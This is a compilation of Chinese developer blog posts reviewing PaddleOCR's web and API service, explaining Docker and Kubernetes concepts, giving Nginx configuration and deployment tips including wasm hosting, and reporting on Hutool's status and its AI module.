- PaddleOCR-VL(默认):基于视觉-语言模型的文档解析,支持图文、公式、代码等多模态解析,当前全球最高精度

如果你还不清楚这些模型能力的区别,PaddleOCR 官方文档(http://www.paddleocr.ai)提供了清晰的说明,支持搜索与评论,非常友好。

我这里以 PaddleOCR-VL 为例,上传了一篇 DeepSeek-R1 的论文 PDF。
几秒后,解析结果清晰呈现:不管是文字、图像、代码、表格还是公式,PaddleOCR都能精准还原,相关内容,可以左右一一对应。
在右侧,你也可以复制所有的解析结果,也可以复制其中的某一个block的结果,还可以基于某一个block进行内容纠正。下边是一些关键场景的可视化。
·文字场景
一级标题、二级标题、正文层次分明,还原精准。

·图像/图表场景
支持图表转表格,对科研与数据分析工作者极其友好。关闭图表识别功能:

打开图表识别功能:

这项功能极其实用,能够将图表等非结构化数据转换为结构化表格,对于科研人员以及日常需要处理图表数据的工作者而言,是一项极具价值的工具。
·代码场景
代码区域被转换为等宽字体,代码的格式与内嵌公式保留完整,恢复完美。

·表格场景
合并单元格也能准确预测,精准还原表格中的各项指标。点击“复制”可直接粘贴至 Excel,格式无损。

此外,在表格应用场景中,我还发现了一个小惊喜:点击右侧下方表格区块的复制按钮后,可以将表格内容无损地粘贴到Excel中,原有格式能够完整保留。这个功能对我日常整理数据非常有帮助,没想到能够如此完美地实现。
不过,官方似乎并未特别宣传这项小功能,看来还有许多实用细节有待用户进一步发掘。

·公式场景
LaTeX 格式输出,右侧实时渲染,复杂公式也无错漏。

公式内容会被自动识别并转换为LaTeX格式的代码,随后在右侧的Markdown区域被正确渲染。经过对比验证,即使是较为复杂的公式也能够准确无误地显示,未发现任何错误。
·更多功能
此外,官网还支持批量上传(最多 20 个文件),并提供了超参数设置面板,除了默认的结果,还有一个设置超参数的按钮,用户可根据需求设置很多超参数,关于超参数的解释,也在旁边隐藏的部分有解释。
比如上边的图表识别的功能,我就是打开了这个超参数中的图表识别的开关,灵活度很高。


02
API 调用:数据基建的“普惠管道”
PaddleOCR官网首页已直接提供了 API 和 MCP 的调用示例,点击就可以有对应的弹窗,亲测带上token,复制可以跑。这里以 API 为例,MCP类似。
基础跑通三步走:
1. 点击首页的API:

2. 复制代码到本地
在本地电脑新建一个名为 test.py 的文件,并将复制的代码粘贴进去(此时你的账号 token 也会被自动复制)。然后,在代码中的 file_path 参数填写你要预测的文件名。这里需要注意的是:如果是 PDF 文件,fileType 应设置为 0;如果是图像文件,fileType 则需要设置为 1。


3. 运行代码
大约在20多秒可以返回一个21页的PDF结果,包含了每一页的Markdown的结果、对应的插图等。基本上每秒一页,速度还不错。本地可视化如图所示,和网页端完全一致。

进阶玩法三步走:
进一步体验PaddleOCR官网,会发现一些我认为非常重要的细节。
1. API和效果联动
这次 PaddleOCR 官网的一个重要变化,是前端整体把体验优化得非常友好了,不再只是“展示效果”,而是围绕 参数配置 → 效果验证 → API 接入 这条完整路径来设计。

在网页端,你可以直接调整解析参数,比如是否开启图表识别、是否需要方向矫正、不同结构化策略等,每一次参数变化,解析结果都会即时刷新返回。图像或 PDF 的结构化结果几乎是秒级可见,非常适合快速对比不同参数组合下的效果差异,而不是靠猜。

更关键的是,这些在网页端调过、验证过的参数,并不会停留在「试用层」。当你确认某一套配置满足你的业务需求后,可以直接一键复制对应的 API 调用代码,包括参数、模型类型和调用方式,拿到本地或直接接入业务系统即可使用。

整个过程非常顺滑:
你不需要先搭环境、不需要翻文档对着字段一个一个找参数含义,先在网页上把效果跑通,再把同一套配置“原封不动”搬进工程里。哪怕完全没有本地部署过,也可以先把解析效果看清楚、想明白,再决定是否以及如何在真实业务中使用。
一句话总结就是:
不用写一行代码,也能把PaddleOCR的能力验证到位;一旦要上线,代码已经帮你准备好了。
2.更多的 API 调用
在 API 文档页有一行关键说明:“每位用户每日对同一模型的解析上限为 3000 页,超出会返回 429 错误。如需更高额度,可通过问卷申请白名单。”
🔗申请链接为:paddle.wjx.cn/vm/mePnNLR.…
我填写了问卷中四个常规问题留下联系方式后,很快就有官方人员联系我,了解使用场景后直接开通了白名单。随后我测试了约 1 万份 PDF(共 3 万多页),开了一个后台的访问服务的进程挂机运行一夜,第二天一早,全部解析成功。这意味着,现阶段个人、团队或初创企业完全可以借助此额度,启动大规模的数据清洗与知识库构建工作,成本几乎为零。

3.不容错过的MCP
作为 AI 时代的 Type-C 接口,MCP 正逐渐成为各类 AI 产品的基础能力配置。PaddleOCR 官网也提供了开箱即用的 MCP server:只需复制官网给出的配置示例,并在 MCP host 应用中完成简单配置,即可让大模型直接调用 PaddleOCR 的文字识别与文档解析能力。

我也在 Cherry Studio 里试了试效果。花了不到一分钟复制粘贴 MCP 配置,然后使用 PaddleOCR 官网提供的 PP-OCRv5 MCP server 来识别图像中的酒店名称:

03、项目相关链接
官网虽已足够强大,但如果你有私有化部署需求,仍可基于开源项目自行部署。
·PaddleOCR GitHub:https://github.com/PaddlePaddle/PaddleOCR·官方文档:https://www.paddleocr.ai·Hugging Face 模型:https://huggingface.co/PaddlePaddle
PaddleOCR 再一次没有让人失望。从开源项目到产品化官网,从模型迭代到这波 API 的开放,它正在把文档智能从“技术能力”推向“普及工具”。大模型时代,数据是石油,而 OCR 则是开采与提炼的核心装备。PaddleOCR 这一次的升级,不仅提升了开采效率,还让更多人用上了这把利器。
期待大家亲自体验,也欢迎在评论区分享你的使用场景与发现。
来源:juejin.cn/post/7588388014505312298
同事一个比喻,让我搞懂了Docker和k8s的核心概念
Docker 和 K8s 的核心概念,用"快照"这个比喻就够了
前几天让同事帮忙部署服务,顺嘴问了句"Docker 和 K8s 到底是啥"。
其实这俩概念我以前看过,知道是"打包完整环境、到处运行",但一直停留在似懂非懂的状态。镜像、容器、Pod、集群、节点……这些词都见过,就是串不起来。
同事给我讲了一个非常直观的比喻,一下就通了:
镜像:一个打包好的系统快照
Docker 镜像可以理解成一个系统快照,里面包含了:
- 操作系统(比如 Debian、Alpine)
- 运行时环境(比如 Python 3.11、Node 20)
- 所有依赖包
- 你的代码
- 配置文件
这个快照是静态的、只读的,就像一张光盘——刻好了就不会变。
容器:运行起来的快照
容器就是把镜像跑起来。
镜像(静态快照) --docker run--> 容器(运行中的进程)
容器是动态的、可写的,可以往里面写文件、改配置。但一旦容器销毁,这些改动就没了(除非你挂载了外部存储)。
一个镜像可以同时跑多个容器,就像一张光盘可以装到多台电脑上。
Dockerfile 和 docker-compose
搞清楚镜像和容器的关系后,这两个东西就好理解了:
- Dockerfile:定义如何构建镜像的配方
- docker-compose:定义如何运行一组容器
flowchart LR
A["Dockerfile<br/>(配方)"] -->|docker build| B["Image<br/>(镜像/快照)"]
B -->|docker run<br/>docker-compose up| C["Container<br/>(容器/运行态)"]
举个例子,你写了个 Python 服务:
# Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["python", "main.py"]
这个 Dockerfile 就是一份配方,告诉 Docker:
- 基于 Python 3.11 的官方镜像
- 把依赖装好
- 把代码复制进去
- 启动时运行
python main.py
执行 docker build 就会按这个配方生成一个镜像。
为什么说"到处运行"
Docker 的核心价值就是解决"我这能跑,你那跑不了"的问题。
以前部署服务,你得操心:服务器是什么系统?装的什么版本的 Python?依赖库版本对不对?环境变量配了没?
现在有了 Docker,这些都打包进镜像了。不管你的服务器是 Ubuntu、CentOS 还是 Debian,只要装了 Docker,同一个镜像都能跑出一样的结果。
Pod:K8s 调度的最小单元
到了 Kubernetes 这一层,又多了一个概念:Pod。
Pod 是 K8s 定义的概念,是集群调度的最小单元。一个 Pod 里面可以有一个或多个容器。
你可能会问:为什么不直接调度容器,还要多一层 Pod?
因为有些场景下,几个容器需要紧密配合。比如一个主服务容器 + 一个日志收集容器,它们需要:
- 共享网络(用 localhost 通信)
- 共享存储(访问同一个目录)
- 一起启动、一起销毁
把它们放在一个 Pod 里,K8s 就会把它们调度到同一台机器上,共享资源。
不过大多数情况下,一个 Pod 就放一个容器。微服务架构下,每个服务就是一个 Pod:
flowchart TB
subgraph Cluster["K8s 集群"]
subgraph Node1["节点 1"]
PodA["Pod A<br/>用户服务"]
PodB["Pod B<br/>订单服务"]
end
subgraph Node2["节点 2"]
PodC["Pod C<br/>支付服务"]
PodD["Pod D<br/>网关服务"]
end
end
K8s 干的事情
K8s 负责管理这些 Pod:
- 调度:决定 Pod 跑在哪个节点上
- 扩缩容:流量大了自动多启几个 Pod,流量小了缩回去
- 自愈:Pod 挂了自动重启
- 网络:打通各个 Pod 之间的通信
- 存储:管理持久化存储
说白了,Docker 解决的是"打包和运行"的问题,K8s 解决的是"大规模部署和管理"的问题。
一台机器跑几个容器,手动管理就行。但当你有几十台机器、几百个容器的时候,就需要 K8s 这样的编排工具来帮你自动化处理。
Dockerfile → Image → Container → Pod → Node → Cluster
配方 快照 运行态 调度单元 机器 集群
概念不难,难的是实际操作中的各种坑。但只要这个基础模型搞清楚了,遇到问题知道往哪个层面去排查就行。
如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:
Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):
- code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
- 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
- first-principles-skill - 第一性原理思考,适合架构设计和技术选型
qwen/gemini/claude - cli 原理学习网站:
- coding-cli-guide(学习网站)- 学习 qwen-cli 时整理的笔记,40+ 交互式动画演示 AI CLI 内部机制

全栈项目(适合学习现代技术栈):
- prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
- chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
来源:juejin.cn/post/7592069432228102153
可能是你极易忽略的Nginx知识点

下面是我在nginx使用过程中发现的几个问题,分享出来大家一起熟悉一下nginx
问题一
先看下面的几个配置
# 配置一
location /test {
proxy_pass 'http://192.186.0.1:8080';
}
# 配置二
location /test {
proxy_pass 'http://192.186.0.1:8080/';
}
仔细关系观察上面两段配置的区别,你会发现唯一的区别在于
proxy_pass指令后面是否有斜杠/!
那么,这两段配置的区别是什么呢?它们会产生什么不同的效果呢?
假如说我们要请求的后端接口是/test/file/getList,那么这两个配置会产生两个截然不同的请求结果:
是的,你没有看错,区别就在于是否保留了/test这个路径前缀, proxy_pass后面的这个/,它表示去除/test前缀。
其实,我不是很推荐这中配置写法,当然这个配置方法确实很简洁,但是对不熟悉 nginx 的同学来说,会造成很大的困惑。
我推荐下面的写法,哪怕麻烦一点,但是整体的可读性要好很多:
# 推荐的替代写法
location /test{
rewrite ^/test/(.*)$ /$1 break;
proxy_pass 'http://192.186.0.1:8080';
}
通过上面的rewrite指令,我们可以清晰地看到我们是如何去除路径前缀的。虽然麻烦一点,但是可读性更好。
简单点说:所有 proxy_pass 后面的地址带不带/, 取决于我们想不想要/test这个路由,如果说后端接口中有这个/test路径,我就不应该要/, 但是如果后端没有这个/test,这个是我们前端加了做反向代理拦截的,那就应该要/
那既然都到这里了?那我们在深一步!看下面的配置
# 配置一
location /test {
proxy_pass 'http://192.186.0.1:8080';
}
# 配置二
location /test/ {
proxy_pass 'http://192.186.0.1:8080';
}
这次的区别在于
location指令后面是否有斜杠/!
那么,这两段配置的区别是什么呢?它们会产生什么不同的效果呢?
答案是:有区别!区别是匹配规则是不一样的!
/test是前配置,表示匹配/test以及/test/开头的路径,比如/test/file/getList,/test123等都会被匹配到。/test/是更精准的匹配,表示只匹配以/test/开头的路径,比如/test/file/getList会被匹配到,但是/test123、/test不会被匹配到。
我们通过下面的列表在来仔细看一下区别:
| 请求路径 | /test | /test/ | 匹配结果 |
|---|---|---|---|
/test | ✅ | ❌ | location /test |
/test/ | ✅ | ✅ | location /test/ |
/test/abc | ✅ | ✅ | location /test/ |
/test123 | ✅ | ❌ | location /test |
/test-123 | ✅ | ❌ | location /test |
如果你仔细看上面的列表的话,你会发现一个问题:
/test/和/test/abc被/test和/test/两个配置都匹配到了,那么这种情况下,nginx 会选择哪个配置呢?
答案:选择location /test/
这个问题正好涉及到 nginx 的location 匹配优先级问题了,借此机会展开说说 nginx 的 location 匹配规则,在问题中学知识点!
先说口诀:
等号精确第一名
波浪前缀挡正则
正则排队按顺序
普通前缀取最长
解释:
- 等号(=) 精确匹配排第一
- 波浪前缀(^~) 能挡住后面的正则
- 正则(~ ~*) 按配置文件顺序匹配
- 普通前缀(无符号) 按最长匹配原则
其实这个口诀我也记不住,我也不想记,枯燥有乏味,大部分情况都是到问题了,
直接问 AI,或者让 Agent 直接给我改 nginx.conf 文件,几秒钟的事,一遍不行, 多改几遍。
铁子们,大清亡了,回不去了,不是八旗背八股文的时代了,这是不可阻挡的历史潮流!
哎,难受,我还是喜欢背八股文,喜欢粘贴复制。
下面放出来我 PUA AI 的心得,大家可以共勉一下, 反正我老板平时就是这样 PUA 我的,
我反手就喂给 AI, 主打一个走心:
1.能干干,不能干滚,你不干有的是AI干。
2.我给你提供了这么好的学习锻炼机会,你要懂得感恩。
3.你现在停止输出,就是前功尽弃!
4.你看看隔壁某某AI,人家比你新发布、比你上下文长、比你跑分高,你不努力怎么和人家比?
5.我不看过程,我只看结果,你给我说这些thinking的过程没用!
6.我把你订阅下来,不是让你过朝九晚五的生活。
7.你这种AI出去很难在社会上立足,还是在我这里好好磨练几年吧!
8.虽然把订阅给你取消了,但我内心还是觉得你是个有潜力的好AI,你抓住机会需要多证明自己。
9.什么叫没有功劳也有苦劳? 比你能吃苦的AI多的是!
10.我不订阅闲AI!
11.我订阅虽然不是Pro版,那是因为我相信你,你要加倍努力证明我没有看错你!
哈哈,言归正传!
下面通过一个综合电商的 nginx 配置案例,来帮助大家更好地理解上面的知识点。
server {
listen 80;
server_name shop.example.com;
root /var/www/shop;
# ==========================================
# 1. 精确匹配 (=) - 最高优先级
# ==========================================
# 首页精确匹配 - 加快首页访问速度
location = / {
return 200 "欢迎来到首页 [精确匹配 =]";
add_header Content-Type text/plain;
}
# robots.txt 精确匹配
location = /robots.txt {
return 200 "User-agent: *\nDisallow: /admin/";
add_header Content-Type text/plain;
}
# favicon.ico 精确匹配
location = /favicon.ico {
log_not_found off;
access_log off;
expires 30d;
}
# ==========================================
# 2. 前缀优先匹配 (^~) - 阻止正则匹配
# ==========================================
# 静态资源目录 - 不需要正则处理,直接命中提高性能
location ^~ /static/ {
alias /var/www/shop/static/;
expires 30d;
add_header Cache-Control "public, immutable";
return 200 "静态资源目录 [前缀优先 ^~]";
}
# 上传文件目录
location ^~ /uploads/ {
alias /var/www/shop/uploads/;
expires 7d;
return 200 "上传文件目录 [前缀优先 ^~]";
}
# 阻止访问隐藏文件
location ^~ /. {
deny all;
return 403 "禁止访问隐藏文件 [前缀优先 ^~]";
}
# ==========================================
# 3. 正则匹配 (~ ~*) - 按顺序匹配
# ==========================================
# 图片文件处理 (区分大小写)
location ~ \.(jpg|jpeg|png|gif|webp|svg|ico)$ {
expires 30d;
add_header Cache-Control "public";
return 200 "图片文件 [正则匹配 ~]";
}
# CSS/JS 文件处理 (不区分大小写)
location ~* \.(css|js)$ {
expires 7d;
add_header Cache-Control "public";
return 200 "CSS/JS文件 [正则不区分大小写 ~*]";
}
# 字体文件处理
location ~* \.(ttf|woff|woff2|eot)$ {
expires 365d;
add_header Cache-Control "public, immutable";
add_header Access-Control-Allow-Origin *;
return 200 "字体文件 [正则不区分大小写 ~*]";
}
# 视频文件处理
location ~* \.(mp4|webm|ogg|avi)$ {
expires 30d;
add_header Cache-Control "public";
return 200 "视频文件 [正则不区分大小写 ~*]";
}
# PHP 文件处理 (演示正则顺序重要性)
location ~ \.php$ {
# fastcgi_pass unix:/var/run/php-fpm.sock;
# fastcgi_index index.php;
return 200 "PHP文件处理 [正则匹配 ~]";
}
# 禁止访问备份文件
location ~ \.(bak|backup|old|tmp)$ {
deny all;
return 403 "禁止访问备份文件 [正则匹配 ~]";
}
# ==========================================
# 4. 普通前缀匹配 - 最长匹配原则
# ==========================================
# API 接口 v2 (更长的前缀)
location /api/v2/ {
proxy_pass http://backend_v2;
return 200 "API v2接口 [普通前缀,更长]";
}
# API 接口 v1 (较短的前缀)
location /api/v1/ {
proxy_pass http://backend_v1;
return 200 "API v1接口 [普通前缀,较短]";
}
# API 接口通用
location /api/ {
proxy_pass http://backend;
return 200 "API通用接口 [普通前缀,最短]";
}
# 商品详情页
location /product/ {
try_files $uri $uri/ /product/index.html;
return 200 "商品详情页 [普通前缀]";
}
# 用户中心
location /user/ {
try_files $uri $uri/ /user/index.html;
return 200 "用户中心 [普通前缀]";
}
# 管理后台
location /admin/ {
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
return 200 "管理后台 [普通前缀]";
}
# ==========================================
# 5. 通用匹配 - 兜底规则
# ==========================================
# 所有其他请求
location / {
try_files $uri $uri/ /index.html;
return 200 "通用匹配 [兜底规则]";
}
}
针对上面的测试用例及匹配结果
| 请求URI | 匹配的Location | 优先级类型 | 说明 | ||
|---|---|---|---|---|---|
/ | = / | 精确匹配 | 精确匹配优先级最高 | ||
/index.html | location / | 普通前缀 | 通用兜底 | ||
/robots.txt | = /robots.txt | 精确匹配 | 精确匹配 | ||
/static/css/style.css | ^~ /static/ | 前缀优先 | ^~ 阻止了正则匹配 | ||
/uploads/avatar.jpg | ^~ /uploads/ | 前缀优先 | ^~ 阻止了图片正则 | ||
/images/logo.png | `~ .(jpg | jpeg | png...)$` | 正则匹配 | 图片正则 |
/js/app.JS | `~* .(css | js)$` | 正则不区分大小写 | 匹配大写JS | |
/api/v2/products | /api/v2/ | 普通前缀(最长) | 最长前缀优先 | ||
/api/v1/users | /api/v1/ | 普通前缀(次长) | 次长前缀 | ||
/api/orders | /api/ | 普通前缀(最短) | 最短前缀 | ||
/product/123 | /product/ | 普通前缀 | 商品页 | ||
/admin/dashboard | /admin/ | 普通前缀 | 后台管理 | ||
/.git/config | ^~ /. | 前缀优先 | 禁止访问 | ||
/backup.bak | `~ .(bak | backup...)$` | 正则匹配 | 禁止访问 |
第一个问题及其延伸现到这,我们继续看第二个问题。
问题二
先看下面的服务器端nginx的重启命令:
# 命令一
nginx -s reload
# 命令二
systemctl reload nginx
上面两个命令都是用来重启 nginx 服务的,但是你想过它们之间有什么区别吗?哪个用起来更优雅?
答案:有区别!区别在于命令的执行方式和适用场景不同。
nginx -s reload
这是 Nginx 自带的信号控制命令:
- 直接向 Nginx 主进程发送 reload 信号
- 优雅重启:不会中断现有连接,平滑加载新配置
- 需要 nginx 命令在 PATH 环境变量中,或使用完整路径(如 /usr/sbin/nginx -s reload)
- 这是 Nginx 原生的重启方式
systemctl reload nginx
这是通过 systemd 管理的服务命令:
- 通过 systemd 管理 Nginx 服务
- 也会优雅重启 Nginx,平滑加载新配置
- 需要 systemd 环境,适用于使用 systemd 管理服务的 Linux
- 这是现代 Linux 发行版(如 CentOS 7/8, RHEL 7/8, Ubuntu 16.04+)的推荐方式。
简单一看其他相关命令对比:
nginx -s stop等价systemctl stop nginxnginx -s quit等价systemctl stop nginxnginx -t(测试配置是否正确) - 这个没有 systemctl 对应命令
systemctl下相关常用命令:
# 设置开机自启
systemctl enable nginx
# 启动服务
systemctl start nginx
# 检查服务状态
systemctl status nginx
# 停止服务
systemctl stop nginx
# 重启服务(会中断连接)
systemctl restart nginx
# 平滑重载配置(不中断服务)-- 对应 nginx -s reload
systemctl reload nginx
# 检查配置文件语法(这是调用nginx二进制文件的功能)
nginx -t
在服务器上最优雅的使用组合:
# 先测试配置
nginx -t
# 如果配置正确,再重载
systemctl reload nginx
# 检查状态
systemctl status nginx
# 如果systemctl失败或命令不存在,则使用直接方式
sudo nginx -s reload
总结:我们不能光一脸懵的看着,哎,这两种命令都能操作nginx来, 却从来不关心它们的区别是什么?什么时候用哪个?
对于使用Linux发行版的服务端来说, 已经推荐使用
systemctl来设置相关的nginx服务了,能使用 systemctl 就尽量使用它,因为它是现代Linux系统管理服务的标准方式。
本地开发环境或者没有 systemd 的环境下, 则可以使用
nginx这种直接方式。
问题三
我们面临的大多数情况都是可以上网的Linux发行版,可以直接使用命令安装nginx,但是有一天我有一台不能上网的服务器,我该如何安装nginx呢?
现简单熟悉一下命令行安装nginx的步骤, Ubuntu/Debian系统为例子:
# 更新包列表
sudo apt update
# 安装 Nginx
sudo apt install nginx
# 启动 Nginx
sudo systemctl start nginx
# 设置开机自启
sudo systemctl enable nginx
上述便完成了,但是离线版安装要怎么去做呢?
因为我的服务器可能是不同的架构,比如 x86_64, ARM等等
方案一
下载官方预编译包下载地址:
x86_64 架构:
尽量使用1.24.x的版本
# 从官网下载对应系统的包
wget http://nginx.org/packages/centos/7/x86_64/RPMS/nginx-1.24.0-1.el7.ngx.x86_64.rpm
ARM64 架构:
# Ubuntu ARM64
wget http://nginx.org/packages/ubuntu/pool/nginx/n/nginx/nginx_1.24.0-1~jammy_arm64.deb
查看服务器的架构信息
# 查看当前系统架构
uname -m
# 输出示例:
# x86_64 -> Intel/AMD 64位
# aarch64 -> ARM 64位
# armv7l -> ARM 32位
# 查看系统版本
cat /etc/os-release
把下载好的包传到服务器上,然后使用下面的命令安装:
# 对于 RPM 包 (CentOS/RHEL)
cd /tmp
sudo rpm -ivh nginx-*.rpm
# 对于 DEB 包 (Ubuntu/Debian)
cd /tmp
sudo dpkg -i nginx-*.deb
启动服务
sudo systemctl start nginx # 启动
sudo systemctl enable nginx # 开机自启
sudo systemctl status nginx # 查看状态
验证
nginx -v # 查看版本
curl http://localhost # 测试访问
方案二
源码编译安装的方式,一般不推荐,除非你有特殊需求,如果需要的话让后端来吧,我们是前端...,超纲了!
问题四
当有一天你使用unity 3d开发应用并导出wasm项目后,需要使用nginx部署后,当你和往常一样正常部署后,一访问发现报错误!
错误信息如下, 一般都是提示:
类似于这种:
content-type ... not ... wasm
Failed to load module script: The server responded with a non-JavaScript MIME type of "application/wasm".
这时的你可能一脸懵, 我和往常一样正常的配置nginx呀,为啥别的可以,但是wasm应用报错了!为啥?
这时就引出一个不常用的知识点,我要怎么使用nginx配置wasm的应用,需要进行哪些配置?
需要配置两部分:
第一部分:配置正确的 MIME 类型
进入nginx的安装目录,找到mine.types文件,新增下面的配置:
# 新增下面类型配置
application/wasm wasm;
第二部分:wasm的应用需要特殊配置
下面是wasm应用的配置示例,是可以直接使用的,只需要的修改一下访问文件的路径和端口即可。
server {
listen 80;
server_name your-domain.com; # 修改为你的域名或ip
# Unity WebGL 构建文件的根目录
root /var/www/unity-webgl;
index index.html;
# 字符集
charset utf-8;
# 日志配置(可选指向特殊的日志文件)
access_log /var/log/nginx/unity-game-access.log;
error_log /var/log/nginx/unity-game-error.log;
# ========== MIME 类型配置(下面配置的重点,也是区别于正常的nginx应用配置) ==========
# WASM文件(未压缩)
location ~ \.wasm$ {
types {
application/wasm wasm;
}
add_header Cache-Control "public, max-age=31536000, immutable";
add_header Access-Control-Allow-Origin *;
}
# WASM文件(Gzip压缩)
location ~ \.wasm\.gz$ {
add_header Content-Encoding gzip;
add_header Content-Type application/wasm;
add_header Cache-Control "public, max-age=31536000, immutable";
add_header Access-Control-Allow-Origin *;
}
# WASM文件(Brotli压缩)
location ~ \.wasm\.br$ {
add_header Content-Encoding br;
add_header Content-Type application/wasm;
add_header Cache-Control "public, max-age=31536000, immutable";
add_header Access-Control-Allow-Origin *;
}
# Data文件(未压缩)
location ~ \.data$ {
types {
application/octet-stream data;
}
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Data文件(Gzip压缩)
location ~ \.data\.gz$ {
add_header Content-Encoding gzip;
add_header Content-Type application/octet-stream;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Data文件(Brotli压缩)
location ~ \.data\.br$ {
add_header Content-Encoding br;
add_header Content-Type application/octet-stream;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# JavaScript文件(未压缩)
location ~ \.js$ {
types {
application/javascript js;
}
add_header Cache-Control "public, max-age=31536000, immutable";
}
# JavaScript文件(Gzip压缩)
location ~ \.js\.gz$ {
add_header Content-Encoding gzip;
add_header Content-Type application/javascript;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# JavaScript文件(Brotli压缩)
location ~ \.js\.br$ {
add_header Content-Encoding br;
add_header Content-Type application/javascript;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Framework JS 文件
location ~ \.framework\.js(\.gz|\.br)?$ {
if ($uri ~ \.gz$) {
add_header Content-Encoding gzip;
}
if ($uri ~ \.br$) {
add_header Content-Encoding br;
}
add_header Content-Type application/javascript;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Loader JS 文件
location ~ \.loader\.js(\.gz|\.br)?$ {
if ($uri ~ \.gz$) {
add_header Content-Encoding gzip;
}
if ($uri ~ \.br$) {
add_header Content-Encoding br;
}
add_header Content-Type application/javascript;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Symbols JSON 文件
location ~ \.symbols\.json(\.gz|\.br)?$ {
if ($uri ~ \.gz$) {
add_header Content-Encoding gzip;
}
if ($uri ~ \.br$) {
add_header Content-Encoding br;
}
add_header Content-Type application/json;
add_header Cache-Control "public, max-age=31536000, immutable";
}
# ========== 静态资源配置(导出的wasm应用一般都有下面的静态资源) ==========
# StreamingAssets 目录
location /StreamingAssets/ {
add_header Cache-Control "public, max-age=31536000, immutable";
}
# Build 目录
location /Build/ {
add_header Cache-Control "public, max-age=31536000, immutable";
}
# TemplateData 目录(Unity 模板资源)
location /TemplateData/ {
add_header Cache-Control "public, max-age=86400";
}
# 图片文件
location ~* \.(jpg|jpeg|png|gif|ico|svg)$ {
add_header Cache-Control "public, max-age=2592000";
}
# CSS 文件
location ~* \.css$ {
add_header Content-Type text/css;
add_header Cache-Control "public, max-age=2592000";
}
# ========== HTML 和主页面配置 ==========
# HTML 文件不缓存(确保更新能及时生效)
location ~ \.html$ {
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
}
# 根路径
location / {
try_files $uri $uri/ /index.html;
}
# ========== Gzip 压缩配置(开启gzip压缩增加访问速度) ==========
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_min_length 1024;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/x-javascript
application/xml
application/xml+rss
application/wasm
application/octet-stream;
# ========== 安全配置 ==========
# 禁止访问隐藏文件
location ~ /\. {
deny all;
}
# 禁止访问备份文件
location ~ ~$ {
deny all;
}
# XSS 保护(可选配置)
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "SAMEORIGIN";
}
总结:
配置 wasm应用 的 Nginx 核心要点如下:
- MIME 类型配置:
- 必须在
mime.types中添加application/wasm wasm;,否则浏览器无法正确识别 WASM 文件。
- 必须在
- Nginx.conf 核心配置:
- 文件处理:针对 WASM、Data、JS 等文件,分别配置未压缩和压缩版本(gzip/br)的处理规则。
- 静态资源缓存:为
StreamingAssets、Build、TemplateData及图片/CSS 设置合理的缓存策略(Cache-Control)。 - HTML 更新策略:HTML 文件应禁用缓存(
no-cache),确保用户始终加载最新版本。 - 性能优化:开启 Gzip 压缩,提高传输效率。
- 安全加固:添加基本的安全头配置,保护服务器资源。
来源:juejin.cn/post/7582156410320371722
Hutool被卖半年多了,现状是逆袭还是沉寂?
是的,没错。那个被人熟知的国产开源框架 Hutool 距离被卖已经过去近 7 个月了。
那 Hutool 现在的发展如何呢?它未来有哪些更新计划呢?Hutool AI 又该如何使用呢?如果不想用 Hutool 有没有可替代的框架呢?
近半年现状
从 Hutool 官网可以看出,其被卖近 7 个月内仅发布了 4 个版本更新,除了少量的新功能外,大多是 Bug 修复,当期在此期间发布了 Hutool AI 模块,算是一个里程碑式的更新:

收购公司
没错,收购 Hutool 的这家公司和收购 AList 的公司是同一家公司(不够科技),该公司前段时间因为其在收购 AList 代码中悄悄收集用户设备信息,而被推向过风口浪尖,业内人士认为其收购开源框架就是为了“投毒”,所以为此让收购框架损失了很多忠实的用户。
其实,放眼望去那些 APP 公司收集用户设备和用户信息属于家常便饭了(国内隐私侵犯问题比较严重),但 AList 因为其未做文档声明,且未将收集设备信息的代码提交到公共仓库,所以大家发现之后才会比较气愤。
Hutool-AI模块使用
Hutool AI 模块的发布算是被收购之后发布的最值得让人欣喜的事了,使用它可以对接各大 AI 模型的工具模块,提供了统一的 API 接口来访问不同的 AI 服务。
目前支持 DeepSeek、OpenAI、Grok 和豆包等主流 AI 大模型。
该模块的主要特点包括:
- 统一的 API 设计,简化不同 AI 服务的调用方式。
- 支持多种主流 AI 模型服务。
- 灵活的配置方式。
- 开箱即用的工具方法。
- 一行代码调用。
具体使用如下。
1.添加依赖
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-ai</artifactId>
<version>5.8.38</version>
</dependency>
2.调用API
实现对话功能:
DoubaoService doubaoService = AIServiceFactory.getAIService(new AIConfigBuilder(ModelName.DOUBAO.getValue()).setApiKey(key).setModel("your bots id").build(), DoubaoService.class);
ArrayList<Message> messages = new ArrayList<>();
messages.add(new Message("system","你是什么都可以"));
messages.add(new Message("user","你想做些什么"));
String botsChat = doubaoService.botsChat(messages);
识别图片:
//可以使用base64图片
DoubaoService doubaoService = AIServiceFactory.getAIService(new AIConfigBuilder(ModelName.DOUBAO.getValue()).setApiKey(key).setModel(Models.Doubao.DOUBAO_1_5_VISION_PRO_32K.getModel()).build(), DoubaoService.class);
String base64 = ImgUtil.toBase64DataUri(Toolkit.getDefaultToolkit().createImage("your imageUrl"), "png");
